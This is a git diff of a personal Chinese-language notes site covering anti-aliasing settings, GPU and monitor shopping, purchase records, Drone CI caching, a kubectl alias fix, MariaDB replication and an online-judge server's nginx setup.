dlss是用来节约性能的,偷奸耍滑的抗锯齿都会有点副作用,txaa,fxaa照样糊,极限画质只认ssaa
游戏中常见的抗锯齿选项有以下几种:
1.关闭抗锯齿:是游戏中最常见的选项,关闭后游戏图像没有抗锯齿效果,会出现锯齿现象。对性能的需求较小,但视觉效果较差,100%的性能开销。
2.MSAA:Multi-Sample Anti-Aliasing(多重采样抗锯齿),MSAA支持各种MSAA级别,通常为x2、x4和x8等级别。 MSAA从3D场景中对每个像素进行多次采样以消除锯齿。 较高的MSAA级别会导致更好的视觉效果,但也会导致更多的性能开销,一般消耗10%~40%的性能开销。
3.FXAA:Fast Approximate Anti-Aliasing(快速近似抗锯齿),FXAA可在像素级别完成灰度反锯齿、多级反锯齿和对线条的效果。FXAA质量较好,性能开销小。在高分辨率下的效果更显著。一般消耗2%~10%的性能开销。
4.TXAA:Temporal Anti-Aliasing(时域抗锯齿),它使用我的时间成本将多个图像帧融合在一起,以提供更高质量的反锯齿以及抗锯齿的运动平滑性和更少的锯齿。对比MSAA和FXAA,TXAA的视觉效果和性能开销都更高,一般消耗20%~40%的性能开销。
5.SMAA:Subpixel Morphological Anti-Aliasing(亚像素形态抗锯齿),效果跟MSAA、FSAA非常接近,可以排除锯齿,同时减少不必要的混叠。 对于高性能的显卡来说没有太大的性能开销,但是在一些较低性能的显卡上则可能会出现效果不佳的情况。一般消耗2%~10%的性能开销。
总结:
性能消耗从低到高:FXAA < SMAA < MSAA < TXAA
效果质量从低到高:关闭抗锯齿 < FXAA < SMAA < MSAA < TXAA
游戏玩家通常可以根据自己的需要选择不同的抗锯齿选项,根据自己的电脑配置和游戏画面的需求选择不同的抗锯齿选项可以兼顾视觉效果与性能。
常见的抗锯齿选项包括:
无抗锯齿:游戏不使用任何抗锯齿技术,可以达到最高的帧率和最低的性能需求。
FXAA(快速近似抗锯齿):这是一种快速且轻量级的抗锯齿技术,可以减少锯齿的数量,但可能会导致图像模糊或失真。该选项通常只需要额外的 1-2% 的 GPU 性能,适合运行时间敏感的游戏。
MSAA(多重采样抗锯齿):这种抗锯齿技术通过对多个样本进行采样来减少锯齿的数量,它可以提供更好的图像质量,但需要更多的 GPU 性能。通常,MSAA 2x 可以消除大部分锯齿,但需要额外的 20-30% 的 GPU 性能;MSAA 4x 则可以消除更多的锯齿,但需要额外的 50% 或更多的 GPU 性能。
SSAA(超采样抗锯齿):这是一种更高级的抗锯齿技术,可以通过在超过游戏分辨率的帧缓冲区中渲染图像来产生更高质量的图像。这种技术可以消除几乎所有的锯齿,但需要更高的 GPU 性能。由于需要更高的分辨率,因此 SSAA 的性能需求通常比 MSAA 更高,通常需要额外的 100-200% 的 GPU 性能。
总的来说,抗锯齿选项的性能需求和效果呈正相关。使用更高级的抗锯齿技术可以提供更好的图像质量,但需要更高的 GPU 性能。因此,在游戏设置中选择合适的抗锯齿选项可以平衡图像质量和性能之间的关系。
密码管理 + + + + + + + + + diff --git "a/notebook/\346\225\260\346\215\256\344\274\240\350\276\223.html" "b/notebook/\346\225\260\346\215\256\344\274\240\350\276\223.html" new file mode 100644 index 0000000..96a6ffa --- /dev/null +++ "b/notebook/\346\225\260\346\215\256\344\274\240\350\276\223.html" @@ -0,0 +1,40 @@ + + + + + + + + +数据传输 + + + + + ++ + + diff --git "a/notebook/\346\225\260\346\215\256\346\225\264\347\220\206.html" "b/notebook/\346\225\260\346\215\256\346\225\264\347\220\206.html" new file mode 100644 index 0000000..ed9966b --- /dev/null +++ "b/notebook/\346\225\260\346\215\256\346\225\264\347\220\206.html" @@ -0,0 +1,34 @@ + + + + + + + + +数据整理 + + + + + ++ + + diff --git "a/notebook/\346\226\207\344\273\266\346\217\217\350\277\260\347\254\246\344\270\216\347\274\223\345\206\262\345\214\272.html" "b/notebook/\346\226\207\344\273\266\346\217\217\350\277\260\347\254\246\344\270\216\347\274\223\345\206\262\345\214\272.html" new file mode 100644 index 0000000..b8ea240 --- /dev/null +++ "b/notebook/\346\226\207\344\273\266\346\217\217\350\277\260\347\254\246\344\270\216\347\274\223\345\206\262\345\214\272.html" @@ -0,0 +1,65 @@ + + + + + + + + +数据整理
处理笔记的分类方式
笔记的种类:
- 灵感
- 待办事项
- 日记
- 笔记
- 特殊的( 印象笔记剪藏,马克)
可用的笔记,提醒,便签软件
品名 平台 云同步 备注 OneNote 全平台 √ 编写代码感觉很差 印象笔记 全平台,免费版最多两台设备 √ 用来写日记,适合个人喜欢 微软待办 全平台 √ 习惯 android × 可以用来打卡,带有提醒 VNote 桌面端 × 配合onedrive可以同步,以及viki搭建博客 notion 全平台 √ (需要科学上网) 闪念胶囊 仅 场景
展示给别人看的博客 -- Vnote + viki + onedrive + drive to web 自己的日记 -- 印象笔记+ 日历
找到合适的写日记软件
notion -- 颜值即是正义
照片相片的备份, 归纳
调研
途径 价格 功能 备注 onedrive 5g免费 ¥40/年 1t(可以存储其他文件) 去年今日 和windows 搭配 google photo 15g免费 无限量的有损图片 自动处理,分类, 需要翻墙 nas 机器费用+网络费用 百度云盘 微云 ondrive
家庭版本去闲鱼拼车大概可以做到 40一年 包含1t存储
google photo
平时在公司的时候使用,其他时候上网不稳定因此不多使用
文件描述符与缓冲区 + + + + + ++ + + diff --git "a/notebook/\346\230\276\345\215\241.html" "b/notebook/\346\230\276\345\215\241.html" new file mode 100644 index 0000000..c24e3ce --- /dev/null +++ "b/notebook/\346\230\276\345\215\241.html" @@ -0,0 +1,34 @@ + + + + + + + + +文件描述符与缓冲区
文件描述符
在业务场景中,有时程序的log会把设备硬盘打满,这时就需要进行一个日志的删除,此时你会发现rm xx.log 并不能释放硬盘空间,重启程序后才可以释放
这是因为该程序已经申请了文件描述符,因此系统会保留文件,直到程序结束或停止占用。
不重启的方法是,echo '' > xx.log
java FileReader
package io; + +import java.io.*; +import java.util.concurrent.TimeUnit; + +public class InodeTest { + public static void main(String[] args) throws IOException, InterruptedException { + BufferedReader reader = new BufferedReader(new FileReader("/Downloads/2020.zip"), 2); + String line; + while ((line = reader.readLine()) != null) { + System.out.println(line); + TimeUnit.MILLISECONDS.sleep(10); + } + } +} +
博主说几百兆的文件,他认为并没有全部读取到内存中,但是删除文件,程序可以继续读取
这里也是,echo '' > /Downloads/2020.zip 即可
python demo
with open("demofile",'wb') as f: + for i in range(1000*1000): + f.write('asdasdasdasdasdasdasd\n'.encode()) +import time + +f = open("demofile", 'r' ,encoding='utf8') + +index = 0 +for i in f: + index += 1 + if index % 100 == 0: + print(index) + time.sleep(1) + # print(i) + +f.close() +
显卡 + + + + + ++ + + diff --git "a/notebook/\346\230\276\345\215\241\351\234\200\346\261\202\345\210\206\346\236\220.html" "b/notebook/\346\230\276\345\215\241\351\234\200\346\261\202\345\210\206\346\236\220.html" new file mode 100644 index 0000000..8f41e25 --- /dev/null +++ "b/notebook/\346\230\276\345\215\241\351\234\200\346\261\202\345\210\206\346\236\220.html" @@ -0,0 +1,34 @@ + + + + + + + + +显卡
2023 5.19
970 4g 3700 980ti 5776 980 4337
1080 ti 8g 9875 1080 7542
2070s 10123 2070 8925 2080ti 11g 14655 2080s 11588 2080 10996
3060ti 8g 12200 4.88 3060 12g 8696 (notebook)3060 6g 8300
3070ti 8g 148263080ti 19568 3080 10g 17500 3090 24g 19799
4080 16g 28125 16g 8000 4070ti 12g 22753 12g 5800 3.92 4070 12g 17873 12g 4200 4.25 4060 8g 10200 2100
(*notebook)4080 12g 18890
6950xt 16g 21721 淘宝4400 6800xt 16g 19550 讯景6800XT海外版 3649 https://m.tb.cn/h.UF3ojs4 无个人送保 5.35 6750xt 12g 13588 瀚铠6750XT合金 2499元 5.43 6650xt 8g 10000 ️瀚铠6650XT合金 1789元 https://m.tb.cn/h.UE6t1Dh 5.58 6600xt 8g 9500 ④淘宝️⭐️瀚铠6600XT 1544 https://m.tb.cn/h.UFCpx8G 6.15
(*notebook)4060 10473 6000 (*notebook)4050 8300
game fps
因此,可以选4070+4k144,
4k144 = 2500 4070 = 4200
显卡需求分析 + + + + + ++ + + diff --git "a/notebook/\350\264\255\344\271\260\350\256\260\345\275\225.html" "b/notebook/\350\264\255\344\271\260\350\256\260\345\275\225.html" new file mode 100644 index 0000000..43201f8 --- /dev/null +++ "b/notebook/\350\264\255\344\271\260\350\256\260\345\275\225.html" @@ -0,0 +1,34 @@ + + + + + + + + +显卡需求分析
4070 in techpower single-page.html#introduction
显卡fps表
上图中,是最高特效,所以,其实60帧数很优秀了
可以看到, 3060ti基本满足游戏4k60,但是2k144跑不满 可以考虑购买的,先买2k144,然后换4k144(因为4k144不成熟,价格不低,没必要一步到位) 或者直接买4k144,目前有2500的款式,感觉贵
方案1: 总价:3060ti 8g+2k 165(2500+1200 = 3700), 畅玩2k 90fps,可用3.5年 提升:换显卡换显示器(那不是全换了吗,傻逼) 方案2: 总价 4070 12g+4k 144(4200 + 2500 = 6700), 畅玩4k 73fps 可用6年 提升:加个2k显示器
2k又和1080p差不多,所以2k144
买2500的3060ti g6x,可以畅玩2k144 为了能用久一些,多加3000,购买4070,提升了
长度 30+ 35,都可
宽度: 6cm以内,50最好
gtx 970冰龙 长度:300mm,高度:111mm;厚度:约6cm 350 电竞判客 319 117 49 4200 turbo 329 133 64 4200 ultra w 337 150 60 4400
要解决几个问题
- 蚂蚁ant27vu这款,是不是有不满血hdmi2.1的问题
蚂蚁电竞 ANT27VU 2699元 【推荐度】:高。 【定位】:SDR游戏
【配置】:友达7.0 OC,400nit亮度,传统LED背光,双HDMI 2.1,USB Type-C 15W
【总评】:4K高刷中的性价比之王,LG 27GP95R的低价平替,知乎吴彦祖亲手调教的产物
【注意】:这个显示器已经从友达2.3升级到友达7.0,而且加量不加价!但是老款和新款名字是一样的,判断新老的方法很简单:4K 160Hz的就是友达7.0的新款,4K 144Hz的是友达2.3老款。
【优点】
1,友达7.0新面板带来更好的观感和响应速度(4.0ms),远超友达2.3,略胜群创E7B
2,接口丰富,做工良心,外观属于中配,比上面两个低配的要好很多。
3,背面RGB灯非常好看,正面还有投影灯(有点ROG的感觉,emmm,一定是借鉴!!!)
4,色域高,95% Adobe + 94% P3,同时适合摄影设计和大型单机游戏。
此外,就这个价位来说,它的均匀性还是不错的。得益于新面板它有着2.8ms的超快响应速度,逼近IPS面板的极限,所以也适合FPS游戏。
【缺点】
1,关机后显示器上的灯不会自动关闭,烦死人
2,HDMI 2.1接口在某些显卡上无法支持G-Sync,PC玩家用DP接口的话,可以无视这个缺点
- aoc u27g3x 这款,不带typec,有没有混发面板问题
AOC U27G3X 3199元 [推荐度]:高。(定位]: SDR游戏,护眼办公 [配置]: 友达7.0 0C,400nit亮度,传统LED背光,双HDMI 2.1 [总评] : 性价比很高的硬件低蓝光显示器,友达7.0新面板,值得无脑入手! [优点) 1,友达7.0新面板赋予了高响应速度,较好的观感,明显比友达2.3的一帮弟弟们要出色2,自带硬件抗蓝光,非常护眼,尤其适合文字工作者。虽然可能不是原厂模组,但是AOC也给 用上了支持硬件低蓝光的背光。 [缺点) 1,没有USB Type-C和USB-A扩展接口 2,调色方案比较激进,有些人可能觉得它的颜色太艳丽,也有些人恰好喜欢它的颜色 3,AOC这个系列的产品做工一般,远不如爱攻系列
泰坦p27a2v这款,面板是不是7.0
hkc vg273upro 不带typec, 有没有问题 HKC VG273Upro 2699元 【推荐度】:中。 【定位】:SDR游戏
【配置】:友达7.0 OC,400nit亮度,传统LED背光,双HDMI 2.1,USB Type-C 15W
【总评】:这和蚂蚁ANT 27VU就是同一个东西,只是外壳不同,两个机器就是同一条生产线出来。HKC这台在外观做工上比蚂蚁ANT 27VU差,所以同价位下请买蚂蚁。
有时候VG273Upro会比ANT 27VU便宜100-200元,如果你不在乎外观,也可以买VG273Upro。
2k高刷&4k办公
Y27h-30。4USB-A+90W的Type-c 2k
飞利浦279P1 1999 90w 评论少 好评600 发布时间21年11月
vx2762-4k-mhdu 好评1000+,差评8,中评1 VX2880-4K-HDU-2 1499 hub hdr400 99%srgb tvu认证 65w 升降旋转 94% 2900+好评 VX2780-4K-HD-2 1650 hdr400 94% 1400好评 vx2731-4k 1299 99%srgb
aoc u27n3c 1799 唤醒慢 发布时间21年11月 5300好评 94% 每次从睡眠中唤醒,一线智联就不好用,typec线重新插拔一次
lg 27up600
27ul650 1750
雷电无信号:
ThinkPad的显示器识别问题和雷电接口故障解决 https://zhuanlan.zhihu.com/p/529323703
我的是关机拔掉充电器,长按电源键开机然后自动关机,再插上电源开机就好了 https://bbs.thinkpad.com/thread-7823411-1-1.html
为什么12代Intel笔记本雷电4或USB4外接显示器不支持Type-C DP独显直连? https://www.bilibili.com/read/cv16411870
notebook/图形抗锯齿.md
电子产品购买记录 + + + + + ++ + + diff --git "a/notebook/\350\277\220\345\212\250\346\211\213\350\241\250.html" "b/notebook/\350\277\220\345\212\250\346\211\213\350\241\250.html" new file mode 100644 index 0000000..e5abafe --- /dev/null +++ "b/notebook/\350\277\220\345\212\250\346\211\213\350\241\250.html" @@ -0,0 +1,34 @@ + + + + + + + + +电子产品购买记录
大物件
时间 名称 链接 价格 备注 2022-7-12 明基 京东 689 优惠价格,平时1000 2022-7-7 机械革命无界16 京东 5149 2022-2-21 宁芝82 蓝牙双模键盘 闲鱼 495 2021-4-25 qc35 二代 tb 941 2020-12-10 松下EH-WNA8B jd 349.20 现在639,好价格 2020-09-09 致巡黑 jd 369 2020-09-09 京东京造Q9吸尘器 jd 759 2020-8-5 ipad air 3 + airpods tb 3700 2020-5-26 咪咕kindle jd 468 白嫖失败 2018-11-11 小米Pro 15.6英寸 jd 5499 80京豆 2018-10-20 松下台灯致言 jd 284 2018-9-11 米动手表 jd 242 凑单66的阿迪背包 和 20155.2 手机
时间 名称 链接 价格 备注 2021-06-10 OPPO Reno5 Pro+ 12+256 星河入梦 jd 3299 用了70京豆 2020-6-21 二手坚果pro3 闲鱼 1800 2018-11-01 锤子r1 jd 2149 2018-1-19 lg g5 tb 371 小物件 price<200
时间 名称 链接 价格 备注 2019-05-18 床上桌 tb 73 2022-8-3 rk r87 k黄轴 tb 119 2022-7-14 小米空调伴侣 京东 76 2022-6-14 赛睿鼠标垫 京东 59.00 2022-6-14 g102白色 jd 99.00 2022-7-27 牙刷刷头*3 jd 119 用了68块钱京豆 2022-2-23 山寨屏幕挂灯 闲鱼 125 2022-2-18 雷蛇八岐大蛇v2无线鼠标 jd 228 2021-9-19 g102黑色换新 jd 0 换新 2021-8-20 米家智能插座 jd 28 红包-10 2021-08-20 卡王AX200PRO JD 129 用了83块礼品卡 2020-12-25 飞利浦电动牙刷头 jd 101 2020-10-14 路由器ups tb 130 2020-5-15 g304+樱桃G80鼠标垫 jd 213 2020-4-20 锤子无线耳机 jd 179 10块京豆 2020-3-30 飞利浦6511牙刷 jd 189 20京豆 2018-11-12 雷柏(Rapoo) V805 jd 174 2018-11-01 g102黑色 jd 99 2019-12-10 usb-c扩展坞 tb 98 2019-10-16 坚果r1无线充电 tb 115 和 1693 161 家里
时间 名称 链接 价格 备注 2019-10-1 tcl 65寸电视 2+32 -- 2999 2019-10-9 米兔3c手表 tb 418 2021-9-24 创维27寸2K显示器 jd 899 2020-9-23 10只斑马jj15 jd 119 2021-7-27 7060d打印机 闲鱼 530 2022-6-29 打印机晒鼓-2600页 xx 34.00 总价 4999 电脑装机 2022.11
名称 价格 时间 连接 备注 i5-12600kf 1600 2022-11-11 jd 板u套装 华硕 tuf b660m-plus d4 900 2022-11-11 jd 板u套装 光威天策3200 32g 375 2022-11-11 JD 光威天策3200 32g 250 2023-6-15 JD 半年降价100 利民pa120 150 2022-11-20 pdd 金百达 1t固态pcie4.0 375 2022-11-23 JD 鑫谷电源750w 320 2022-11-22 jd wifi网卡 100 2023-5-1 jd 七彩虹 RTX4070 ultra w v2 4300 2023-5-31 jd 垃圾机箱 30 2022-12-3 闲鱼 总价(不带显示器) 8400 4k144hz KOIOS K2723UL青春版 1779 2023-5-31 jd第三方店 友达7.0 商品评价100左右 nta N2823UG 4k152hz 1529 2023-5-31 jd第三方店 e7b面板,商品评价15左右,满血hdmi2.1, 可惜有竖线,已经退货 全套总价(带显卡显示器) 10200 xbox手柄 429 2023-1-29 jd 海康威视西数紫盘 320 2022-10-17 pdd 数据盘 映众超级冰龙GTX970 350 2022-11-22 闲鱼 过渡 装机经验:
- 不要上太大的风冷,丑,不方便安装
- 主板要带wifi
- 不介意大小,最好买大的主板,而不是类似b660m这种m板
- 注意显卡厚度,ultra厚度为60mm,会占用三个pcie槽
- 购买ddr4内存的话,即使有大内存需求,也尽量买双通道,单通道影响cpu、显卡发挥,双通道前后,cpu从58w提升68w,显卡60w到64w,内存8.5w到17w, 提升较大
- 机箱上方部位多一些,方便走线
眼镜
时间 名称 链接 价格 备注 2023-5-1 依视路钻晶x4(免费升级到膜致) 404 猫粮
时间 名称 链接 价格 备注 2023-3-23 jd京造10kg 249 2023-1-1 希宝猫条 60个 58+15猫超卡 2022-11-05 网易严选7.2kg 190 2022-6-30 京东京造三文鱼1.8kg 60 2022-6-30 京东京造双拼1.8kgx2 45x2 2022-1-25 4x2.5kg猫砂 52 2022-1-15 网易严选猫粮7.2kg 205 2021-12-04 牛油果 2kg x 2 xx 20 10喜豆 2021-11-12 冠能3.5kg 67 2021-11-10 京萌2kg 17 2021-10-13 京萌2kg 47 2021-9-13 皇家0.8kg 45 2021-9-9 猫砂6L*3 50 50 和 975 运动手表 + + + + + ++ + + diff --git "a/notebook/\351\207\215\347\275\256CMD\350\256\276\347\275\256.html" "b/notebook/\351\207\215\347\275\256CMD\350\256\276\347\275\256.html" new file mode 100644 index 0000000..039dbff --- /dev/null +++ "b/notebook/\351\207\215\347\275\256CMD\350\256\276\347\275\256.html" @@ -0,0 +1,34 @@ + + + + + + + + +重置CMD设置 + + + + + ++ + + diff --git a/ops/drone.html b/ops/drone.html new file mode 100644 index 0000000..2e05045 --- /dev/null +++ b/ops/drone.html @@ -0,0 +1,152 @@ + + + + + + + + +drone + + + + + ++ + + diff --git a/ops/index.html b/ops/index.html new file mode 100644 index 0000000..24c7854 --- /dev/null +++ b/ops/index.html @@ -0,0 +1,34 @@ + + + + + + + + +drone
下面的例子中,项目名假定为citest
缓存类型 优点 缺点 docker缓存 "1. 可以缓存全过程,2. 不限于某个runner节点" 需要构建并推送额外的docker镜像 本地缓存 简单 "1. 无法缓存构建过程(如yarn build)2. 只生效在单一runner节点" docker缓存(优先使用)
不限制构建的类型,原理是基于docker cache加速执行过的构建。下面的例子中,会将所有的依赖文件打包成一个docker镜像进行加速: .drone.yml
kind: pipeline +type: ssh +name: ci +trigger: + ref: + include: + - refs/heads/v[0-9]* + - refs/tags/v[0-9]* +server: + host: + from_secret: be_runner + user: + from_secret: runner_user + ssh_key: + from_secret: runner_key +steps: + - name: build + commands: + - echo $DOCKER_PASSWORD | docker login dcr.xxx.com -u $DOCKER_USERNAME --password-stdin + - IMAGE_TAG=${DRONE_TAG##*/} make docker-build + environment: + DOCKER_USERNAME: + from_secret: docker_username + DOCKER_PASSWORD: + from_secret: docker_password +
先构建依赖库的镜像,再构建最终使用的镜像 Makefile
REGISTRY ?= dcr.xxx.com +IMAGE_NAME ?= xxx/citest +IMAGE_TAG ?= latest + +docker-build: + DOCKER_BUILDKIT=1 docker build . \ + --file Dockerfile.base \ + --tag ${REGISTRY}/${IMAGE_NAME}:deps \ + --cache-from ${REGISTRY}/${IMAGE_NAME}:deps \ + --build-arg BUILDKIT_INLINE_CACHE=1 + + DOCKER_BUILDKIT=1 docker build . \ + --file Dockerfile \ + --tag ${REGISTRY}/${IMAGE_NAME}:${IMAGE_TAG} \ + --cache-from ${REGISTRY}/${IMAGE_NAME}:deps \ + --build-arg BUILDKIT_INLINE_CACHE=1 +
依赖库镜像的Dockerfile Dockerfile.base
FROM node:lts-bullseye as build +WORKDIR /app +COPY ./package.json ./yarn.lock /app/ +COPY ./src /app/src +COPY ./public /app/public +RUN yarn --registry=https://registry.npm.taobao.org +RUN yarn build +
最终业务用镜像的Dockerfile Dockerfile
FROM node:lts-bullseye as build +WORKDIR /app +COPY ./package.json ./yarn.lock /app/ +COPY ./src /app/src +COPY ./public /app/public +RUN yarn --registry=https://registry.npm.taobao.org +RUN yarn build + +FROM nginx:stable-alpine-slim +COPY --from=build /app/dist/ /usr/share/nginx/html/ +EXPOSE 80 +
本地缓存
可以用于缓存npm/yarn的依赖库文件,原理是将每次构建时使用的依赖库文件同步到主机的指定目录,然后下一次构建时先同步回来。该方案只能加速下载依赖文件的流程,每次都要重新build,因此如果build时间太久,建议尝试使用上面docker缓存的方案。
npm cache
.drone.yml
kind: pipeline +type: exec +name: ci +trigger: + ref: + include: + - refs/heads/v[0-9]* + - refs/tags/v[0-9]* +steps: + - name: restore-cache + commands: + # npm cache,一般缓存到drone的工作目录下 + - mkdir -p /data/cache/citest/node_modules + - rsync -a /data/cache/citest/node_modules . + + - name: build + commands: + - export YARN_CACHE_FOLDER="~/.yarn/cache" + - npm install --registry=https://registry.npm.taobao.org + - npm build + + - name: rebuild-cache + commands: + # npm cache + - rsync -a ./node_modules /data/cache/cicdtest/ + +
yarn cache
.drone.yml
kind: pipeline +type: exec +name: ci +trigger: + ref: + include: + - refs/heads/v[0-9]* + - refs/tags/v[0-9]* +steps: +- name: prepare + commands: + - | + cat <<EOF >> .yarnrc.yml + # 启用全局cache + enableGlobalCache: true + EOF + + - name: restore-cache + commands: + # yarn cache,这里不区分项目,共同使用一个缓存目录 + - mkdir -p /data/cache/.yarn + - rsync -a /data/cache/.yarn ~/ + + - name: build + commands: + - export YARN_CACHE_FOLDER="~/.yarn/cache" + - yarn --registry=https://registry.npmmirror.com/ + - yarn build + + - name: rebuild-cache + commands: + # yarn cache + - rsync -a ~/.yarn /data/cache/ +
这里是ops + + + + + + + + + diff --git a/ops/k8s.html b/ops/k8s.html new file mode 100644 index 0000000..d854bd4 --- /dev/null +++ b/ops/k8s.html @@ -0,0 +1,34 @@ + + + + + + + + +k8s + + + + + ++ + + diff --git "a/ops/mysql_\344\270\273\344\273\216\345\244\215\345\210\266.html" "b/ops/mysql_\344\270\273\344\273\216\345\244\215\345\210\266.html" new file mode 100644 index 0000000..defef07 --- /dev/null +++ "b/ops/mysql_\344\270\273\344\273\216\345\244\215\345\210\266.html" @@ -0,0 +1,101 @@ + + + + + + + + +k8s
alias k8s
为了方便查看日志,编写了一个alias
alias klmes="kubectl logs -f
kubectl get pods | grep '^mes-be' | grep 'Running' -m 1 | awk '{print $1}'
"但是在断网环境下打开新终端,发现zsh会尝试运行该命令, 在网络不通环境下打开新终端,则会导致终端卡死
问题定位
经过多次尝试,我编写了一个二进制程序echo222, 放在
/usr/local/bin/
下, 并编写了如下的aliasalias ee="echo222"
经测试,没有执行该语句
再次编写为
alias ee="echo
echo222
" 经测试,执行了双引情况下号下,``(反引号)包裹的语句,再测试下单引号 alias ee='echo
echo222
' 经测试,问题解决解决方案1
使用函数
klmes () { kubectl logs -f
kubectl get pods | grep '^mes-be' | grep 'Running' -m 1 | awk '{print $1}'
}解决方案2
https://stackoverflow.com/questions/1250079/how-to-escape-single-quotes-within-single-quoted-strings
使用单引号包住 alias klmes='kubectl logs -f $(kubectl get pods | grep "^mes-be" | grep "Running" -m 1 | awk '"'"'{print $1}'"'"')'
[mysql]主从复制 + + + + + ++ + + diff --git a/ops/oj.html b/ops/oj.html new file mode 100644 index 0000000..dae1d02 --- /dev/null +++ b/ops/oj.html @@ -0,0 +1,113 @@ + + + + + + + + +[mysql]主从复制
步骤
1,主开启binlog
docker run --name mydb2 -itd -e MYSQL_ROOT_PASSWORD=pwd -v /dbconf/:/etc/mysql/conf.d/ mariadb
[root@bogon ~]# vim /mydb1/conf/my.cnf [mysqld] server_id=1 log_bin=mysql-bin
show master status; +show variables like '%%log_bin%'; +
2. 副修改server_id
[root@bogon ~]# vim /mydb2/conf/my.cnf [mysqld] server_id=2
+show variables like '%server_id%'; + +
3.副开启主从
MariaDB [(none)]> CHANGE MASTER TO MASTER_HOST='172.17.0.2', MASTER_USER='slave', MASTER_PASSWORD='slave', MASTER_LOG_FILE='mysql-bin.000001', MASTER_LOG_POS=511; +Query OK, 0 rows affected (0.015 sec) + +MariaDB [(none)]> start slave; +Query OK, 0 rows affected (0.005 sec) + +MariaDB [(none)]> show slave status\G +*************************** 1. row *************************** + Slave_IO_State: Waiting for master to send event + Master_Host: 172.17.0.2 + Master_User: slave + Master_Port: 3306 + Connect_Retry: 60 + Master_Log_File: mysql-bin.000001 + Read_Master_Log_Pos: 511 + Relay_Log_File: mysqld-relay-bin.000002 + Relay_Log_Pos: 555 + Relay_Master_Log_File: mysql-bin.000001 + Slave_IO_Running: Yes + Slave_SQL_Running: Yes + Replicate_Do_DB: + Replicate_Ignore_DB: + Replicate_Do_Table: + Replicate_Ignore_Table: + Replicate_Wild_Do_Table: + Replicate_Wild_Ignore_Table: + Last_Errno: 0 + Last_Error: + Skip_Counter: 0 + Exec_Master_Log_Pos: 511 + Relay_Log_Space: 865 + Until_Condition: None + Until_Log_File: + Until_Log_Pos: 0 + Master_SSL_Allowed: No + Master_SSL_CA_File: + Master_SSL_CA_Path: + Master_SSL_Cert: + Master_SSL_Cipher: + Master_SSL_Key: + Seconds_Behind_Master: 0 + Master_SSL_Verify_Server_Cert: No + Last_IO_Errno: 0 + Last_IO_Error: + Last_SQL_Errno: 0 + Last_SQL_Error: + Replicate_Ignore_Server_Ids: + Master_Server_Id: 1 + Master_SSL_Crl: + Master_SSL_Crlpath: + Using_Gtid: No + Gtid_IO_Pos: + Replicate_Do_Domain_Ids: + Replicate_Ignore_Domain_Ids: + Parallel_Mode: conservative + SQL_Delay: 0 + SQL_Remaining_Delay: NULL + Slave_SQL_Running_State: Slave has read all relay log; waiting for the slave I/O thread to update it + Slave_DDL_Groups: 0 +Slave_Non_Transactional_Groups: 0 + Slave_Transactional_Groups: 0 +1 row in set (0.000 sec) +
oj + + + + + ++ + + diff --git a/ops/sudo.html b/ops/sudo.html new file mode 100644 index 0000000..207b51a --- /dev/null +++ b/ops/sudo.html @@ -0,0 +1,34 @@ + + + + + + + + +oj
pdsuoj
php7.2
代码路径信息
php配置文件路径
/etc/php/7.2/fpm/php.ini
这个文件修改后需重启php使修改生效
service php7.2-fpm restart
代码路径
/home/judge/src/web/
开发代码路径
/home/judge/src/web-dev/
下面的信息都基于项目根目录
- 数据库等配置文件的路径
include/db_info.inc.php
代码结构
假设主目录为
/home/judge/src/web/
主目录下的php文件为后端文件,负责数据库查询,数组结构组装其中前端在template/bs3/ 路径下 admin前端在 admin/ 路径下
tree -L 1 + +├── ace 在线编辑器组件 +├── acm_number.txt +├── acm_ranking.php acm排名页面 +├── admin +├── bbs +├── bbs.php +├── blog_show.php 博客 +├── bootstrap +├── config.yaml +├── csrf.php +├── discuss3 +├── edit_area +├── faqcss +├── favicon.ico +├── fckeditor +├── fonts +├── gpl-2.0.txt +├── highlight +├── image +├── include +├── index.php +├── kindeditor +├── lang +├── mergely +├── newranking_guize.txt +├── php_errors.log 日志,基本是警告与错误 +├── qrcodetmp +├── reportlogin.html +├── study_vedio 学习视频 +├── summary 知识图谱 +├── template +└── upload + +
nginx
nginx 是最流行,性能最强的web服务器,使用多路复用,性能很强,基本替代了以前的apache
nginx 配置文件路径 for 生产
/etc/nginx/sites-enabled/default
nginx 配置文件路径 for 开发
/etc/nginx/sites-enabled/web-dev
nginx 常用命令
nginx -t 检查配置文件是否正确
root@iZ2ze954cl1vua04rezfxcZ:/home/judge/src/web# nginx -t +nginx: the configuration file /etc/nginx/nginx.conf syntax is ok +nginx: configuration file /etc/nginx/nginx.conf test is successful +
nginx -s reload 使用新的配置文件重载nginx(编辑配置后,需重载使nginx生效, 正常情况下无输出)
root@iZ2ze954cl1vua04rezfxcZ:/home/judge/src/web# nginx -s reload +root@iZ2ze954cl1vua04rezfxcZ:/home/judge/src/web# + +
nginx配置文件demo
# 主要区别在于listen 的端口以及root 的位置, 创建新的文件,并修改这两个,即可设置多个站点 +server { + + listen 8000 default_server; + listen [::]:8000 default_server; + + include snippets/phpmyadmin.conf; + root /home/judge/src/web-dev; + + # Add index.php to the list if you are using PHP + index index.php index.htm index.nginx-debian.html; + + server_name _; + + location / { + # First attempt to serve request as file, then + # as directory, then fall back to displaying a 404. + try_files $uri $uri/ =404; + } + + # pass PHP scripts to FastCGI server + # + location ~ \.php$ { + include snippets/fastcgi-php.conf; + # + # # With php-fpm (or other unix sockets): + fastcgi_pass unix:/var/run/php/php7.2-fpm.sock; + # # With php-cgi (or other tcp sockets): + # fastcgi_pass 127.0.0.1:9000; + #} + + }#added by hustoj + + + +} + + +
sudo + + + + + ++ + + diff --git a/ops/ubuntu_x11.html b/ops/ubuntu_x11.html new file mode 100644 index 0000000..3003a7d --- /dev/null +++ b/ops/ubuntu_x11.html @@ -0,0 +1,40 @@ + + + + + + + + +ubuntu_x11 + + + + + ++ + + diff --git "a/ops/vmware\350\231\232\346\213\237\346\234\272\347\241\254\347\233\230\350\260\203\346\225\264.html" "b/ops/vmware\350\231\232\346\213\237\346\234\272\347\241\254\347\233\230\350\260\203\346\225\264.html" new file mode 100644 index 0000000..81316c2 --- /dev/null +++ "b/ops/vmware\350\231\232\346\213\237\346\234\272\347\241\254\347\233\230\350\260\203\346\225\264.html" @@ -0,0 +1,46 @@ + + + + + + + + +ubuntu_x11
启动方式
moye用户
先启动xterm
然后sudo pycharm.sh启动pycahrm
遇到的问题
无法显示中文
73 apt install x11-apps 74 exit 75 xclock 76 exit 77 apt install xinit 78 xterm & 79 apt install xterm 80 xterm & 81 exit 82 apt install gtk2-immodule-xim 83 apt install fcitx
